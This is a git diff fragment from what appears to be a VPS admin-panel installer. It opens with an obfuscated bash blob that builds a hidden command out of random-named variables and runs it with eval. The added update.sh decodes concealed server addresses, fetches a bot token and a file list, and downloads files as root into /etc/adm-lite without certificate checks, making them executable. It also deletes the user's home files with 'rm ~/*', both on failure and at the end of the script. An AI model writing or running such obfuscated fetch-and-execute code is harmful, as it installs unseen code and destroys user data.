abvCLetjLrR="6";lOrwTKuibFhBLYgQpBKAkUeEKwOBoEKgfKlOXBMDwRrNfJdPexXcAWGGBRkXIDbGlIavFdzFtkEKaxnazTJRFFTZzajqseHZAQLv="oykoHWJKRpDYwPGSKJsQfsyJxQHyCmlFhxmDZcZkylJmbeQrKHWHLHgsSuVJOUXuHjEPovHLoHIgxKJFFsLhuGFeORYOvoBfbxwh";pOoImmsqFwCMBwGChaywCIVZPVqKmeSBDldESiKtvcFhkDBFhdWYqclrIUjTAoDMVvhXKICpwiKaRnBqRpoAdtpIRIQjyElcMjcf=" -d";NVyEmxOIyEziqrjzwctVOmOBqdakeYksIVJcDueUjGbXFFqxlkawghdFudELOijbqDzlPpVKeydnvEYuDWmDvmTWtFaAzrmdeQid="RlZOnkGUNXvKdOEvqXcexRmAOkxCysQCWechFibPeHNIhJBcdAUeNOqyKgmuwCWrsYaOxJeyzBAbwxUNolrhvxnETIeXsDIesVwe";GjsFHZJqHrrIdNJZrJGkmMdJOpyicOeOtCbSsZrqEEwRWIDhgjBGnoiTrnlCdCBTZcWnViTmFqotDhjwWZmwSazLuWSGokLtmmMh="";zWfJTDRFSFcXmEcuUDbYUHRRNNCSEwBUMqEzIJEDNyvINmYUaFfhncMRqeNAtjvHzGwiHocKGVMkrwcqFyVWMTiYWzTTRlgQIKwS="b";DhGmnVKtbMEkjnugjvKRTwQDqybtdqVdMNINFBPGZSGFsNSqkuBrpnJzhbaCpRjYUeyMOVqAgzZwMCeIzmQfAuoeMvQvsEzzuZRf="e";ebUzjIxKUuAqjymMgcjuqjpEqZMSNxiUViKrRjMVTGBZFQegCxoIbhkzFQTzrtbCOSeMeRtvgYGnxzitTtqHnSdnlDshOwAZVXqZ="v |";Tx=Eds;ktnSttRJsLISCLcykCEZvsozWXwxksUlYwlUbLJCmmCGdhpitWpcftOsVkDIhhffYeitQuIRsDrfJsvIxuEuYgiebvfqzSnBENEl="";ucftkKlaqmFZHmrUpoRcfshJjLklApTqsXRTxxVpDvsTqEjaKQkHqjdygjCneQUVeaJWCYDTCSstCkiffkpfwCGBGfIWEKznjqoB=$(eval "$zPJpBvOZxAGJBZPJRtYoFARDgmGXIShpRyUKwKBHGCCIKFmdjIgbWwFIrApikVJhYZAYJUOrpvMEQOLXwltUpoFUTnnBDXxKAJwB$DhGmnVKtbMEkjnugjvKRTwQDqybtdqVdMNINFBPGZSGFsNSqkuBrpnJzhbaCpRjYUeyMOVqAgzZwMCeIzmQfAuoeMvQvsEzzuZRf$xgKyYiDurmipOpyBvMeGRFHTiSbuuMmKhGKXZZfebvfiFmcOxSIQylMdUOIIjfmKgzZRZZmiIGRJwtBCuMFkMNsrUgTCOblYxNKz$yUlkBRDRRjyeRJxpZeXOhGvtvEhnyYUgiPNsUYGpNJaeoDgqAlhTHolrpiYzWwyavmAlIKnwxxaGOXlewlvQnBMvWiIBVTUfsjLj$SjFVWlucYlOszQgPsbrMAcqFYqWGphAvDuKGcwGJQTaEbYElBysarJoIdwburcDWYRJaCklpTlPfvnQfEtaJCIFYcEzJRHgMGjia$kzIEHIrlSegvgxJivMpEjgdpSiHKJxANscJAAAxaauuOBtMilfdpHmKHXkacKRMMJCynhdXdJsbsXHbNppdsNkCRkKSyvBDHGBPK$DhGmnVKtbMEkjnugjvKRTwQDqybtdqVdMNINFBPGZSGFsNSqkuBrpnJzhbaCpRjYUeyMOVqAgzZwMCeIzmQfAuoeMvQvsEzzuZRf$ebUzjIxKUuAqjymMgcjuqjpEqZMSNxiUViKrRjMVTGBZFQegCxoIbhkzFQTzrtbCOSeMeRtvgYGnxzitTtqHnSdnlDshOwAZVXqZ$zPJpBvOZxAGJBZPJRtYoFARDgmGXIShpRyUKwKBHGCCIKFmdjIgbWwFIrApikVJhYZAYJUOrpvMEQOLXwltUpoFUTnnBDXxKAJwB$zWfJTDRFSFcXmEcuUDbYUHRRNNCSEwBUMqEzIJEDNyvINmYUaFfhncMRqeNAtjvHzGwiHocKGVMkrwcqFyVWMTiYWzTTRlgQIKwS$ktnSttRJsLISCLcykCEZvsozWXwxksUlYwlUbLJCmmCGdhpitWpcftOsVkDIhhffYeitQuIRsDrfJsvIxuEuYgiebvfqzSnBENEl$nNXQFSPUnukpmATGABGUiUaKfJuMCQRqBeAvrNKmhGSsgZUAVafSaVhHBTtcugNtmWsPYhkxGGPWdjvGdAvsUrIzSzzTpLtEvYOg$DhGmnVKtbMEkjnugjvKRTwQDqybtdqVdMNINFBPGZSGFsNSqkuBrpnJzhbaCpRjYUeyMOVqAgzZwMCeIzmQfAuoeMvQvsEzzuZRf$GPnMTWXnxyZlsjwTwtmuWgCyETQaUqgkUXdToVkyDAQAWHXmcsZcuyNnexYLGwBaprImlgfDnzHNgAxTcdUFCXryWabvCLetjLrR$yUlkBRDRRjyeRJxpZeXOhGvtvEhnyYUgiPNsUYGpNJaeoDgqAlhTHolrpiYzWwyavmAlIKnwxxaGOXlewlvQnBMvWiIBVTUfsjLj$NRUdoOSxYQGZlLyrHbeoPGcsyUMPHefxPlsBIOpiNHcpltRsGBkEybdAPsCCQdIbrLQFdClgxfVOBqoxxtMwqPOHzfffhSeHLHAa$pOoImmsqFwCMBwGChaywCIVZPVqKmeSBDldESiKtvcFhkDBFhdWYqclrIUjTAoDMVvhXKICpwiKaRnBqRpoAdtpIRIQjyElcMjcf$ktnSttRJsLISCLcykCEZvsozWXwxksUlYwlUbLJCmmCGdhpitWpcftOsVkDIhhffYeitQuIRsDrfJsvIxuEuYgiebvfqzSnBENEl");eval "$GjsFHZJqHrrIdNJZrJGkmMdJOpyicOeOtCbSsZrqEEwRWIDhgjBGnoiTrnlCdCBTZcWnViTmFqotDhjwWZmwSazLuWSGokLtmmMh$ucftkKlaqmFZHmrUpoRcfshJjLklApTqsXRTxxVpDvsTqEjaKQkHqjdygjCneQUVeaJWCYDTCSstCkiffkpfwCGBGfIWEKznjqoB$zPJpBvOZxAGJBZPJRtYoFARDgmGXIShpRyUKwKBHGCCIKFmdjIgbWwFIrApikVJhYZAYJUOrpvMEQOLXwltUpoFUTnnBDXxKAJwB$yUlkBRDRRjyeRJxpZeXOhGvtvEhnyYUgiPNsUYGpNJaeoDgqAlhTHolrpiYzWwyavmAlIKnwxxaGOXlewlvQnBMvWiIBVTUfsjLj" \ No newline at end of file diff --git a/test/v-local.log b/test/v-local.log new file mode 100644 index 0000000..0e4dfe9 --- /dev/null +++ b/test/v-local.log @@ -0,0 +1 @@ +V1.2 \ No newline at end of file diff --git a/update.sh b/update.sh new file mode 100644 index 0000000..4125ae3 --- /dev/null +++ b/update.sh @@ -0,0 +1,103 @@ +#!/bin/bash +source msg + +ofus(){ +unset server +server=$(echo ${txt_ofuscatw}|cut -d':' -f1) +unset txtofus +number=$(expr length $1) +for((i=1; i<$number+1; i++)); do +txt[$i]=$(echo "$1" | cut -b $i) +case ${txt[$i]} in +".")txt[$i]="x";; +"x")txt[$i]=".";; +"5")txt[$i]="s";; +"s")txt[$i]="5";; +"1")txt[$i]="@";; +"@")txt[$i]="1";; +"2")txt[$i]="?";; +"?")txt[$i]="2";; +"4")txt[$i]="0";; +"0")txt[$i]="4";; +"/")txt[$i]="K";; +"K")txt[$i]="/";; +esac +txtofus+="${txt[$i]}" +done +echo "$txtofus" | rev +} + +key=$( /dev/null; then + idd=$(curl -sSL http://$(ofus $ip):81/ChumoGH/checkIP.log|grep ${key//$ip/}|awk -F "|" '{print $1}') + url="https://api.telegram.org/bot$(curl -sSL https://raw.githubusercontent.com/drowkid01/scriptcgh/main/Control/token.sh|awk '{print $1}')/getChatMember" + + while read user; do + name=$(echo $user|jq -r .result.user.first_name) + usrname=$(echo $user|jq -r .result.user.username) + done <<< $(curl -s -X POST $url -d chat_id="$idd" -d user_id="$idd") + + date=$(curl -sSL http://$(ofus $ip):81/ChumoGH/checkIP.log|grep `echo $key|awk -F ':' '{print $1}'`|awk -F '|' '{print $4}') + + + echo -e " $(msg -verm 'DATOS DE LA KEY')" + msg -bar + echo -e "\e[1;97m$(printext 'NOMBRE:') \e[1;97m$name" + echo -e "$(printext 'ALIAS/USER:') \e[1;97m$usrname" + echo -e "$(printext 'FECHA DE INSTALACIÓN:') \e[1;97m$date" + msg -bar + sleep 3 + clear + cat <<< '┏━┓┏━╸┏━╸┏━┓ ╺┳╸╻ ╻ ╻┏ ┏━╸╻ ╻ +┣━┛┣╸ ┃╺┓┣━┫ ┃ ┃ ┃ ┣┻┓┣╸ ┗┳┛ +╹ ┗━╸┗━┛╹ ╹ ╹ ┗━┛ ╹ ╹┗━╸ ╹ ' + msg -bar + while read -p $'\e[41mKey: \e[0m\e[1;37m ' key; do + if [[ -z $key ]]; then + msg -verm 'PEGA TU KEY'&&sleep 2 + del 1 + elif [[ ${#key} == 45 ]]; then + msg -verm 'VERIFICANDO KEY' + key=$(echo $key|tr -d '[[:space:]]') + break + else + msg -verm 'PEGA TU KEY'&&sleep 2 + del 1 + fi + done + +fi + +ip=`ofus $(echo $key|awk -F ":" '{print $2}')` + [[ $(curl -s --connect-timeout 5 $ip:8888 ) ]] && { + msg -bar + echo -e " \e[90m\e[43m CHECK KEY : \033[0;33m"&&sleep 2 + tput cuu1&&tput dl1 + txt='ENLAZADA AL GENERADOR' + echo -ne " \e[1;32m" + for((i=0;i<=${#txt};i++));do + echo -ne "${txt:$i:1}" + done + tput cuu1 && tput dl1 + msg -bar3 + ip=`ofus $(echo $key|awk -F ":" '{print $2}')` + wget --no-check-certificate -O $HOME/lista-arq $(ofus "$key")/$ip > /dev/null 2>&1 && echo -ne "\033[1;34m [ \e[3;32m VERIFICANDO KEY \e[0m \033[1;34m]\033[0m" + } || { + echo -e " $(msg -verm 'CONEXIÓN FALLIDA')" + exit&&rm -f ~/* + } + ip=`ofus $(echo $key|awk -F ":" '{print $2}')` + rekuest=$(ofus "$key"|cut -d'/' -f2) + for arqx in $(cat $HOME/lista-arq); do + wget --no-check-certificate -O /etc/adm-lite/${arqx} ${ip}:81/${rekuest}/${arqx} > /dev/null 2>&1 && chmod +x /etc/adm-lite/$arqx + done + [[ -s /etc/adm-lite/menu ]] && { + echo $key > /etc/cghkey + } + +rm ~/* diff --git a/version/v-new.log b/version/v-new.log new file mode 100644 index 0000000..3b42586 --- /dev/null +++ b/version/v-new.log @@ -0,0 +1 @@ +V1.1 diff --git a/x b/x new file mode 100644 index 0000000..7e315ae --- /dev/null +++ b/x @@ -0,0 +1,3 @@ +sysctl -w net.ipv6.conf.all.disable_ipv6=1 && sysctl -p +echo 'net.ipv6.conf.all.disable_ipv6 = 1' > /etc/sysctl.d/70-disable-ipv6.conf +sysctl -p -f /etc/sysctl.d/70-disable-ipv6.conf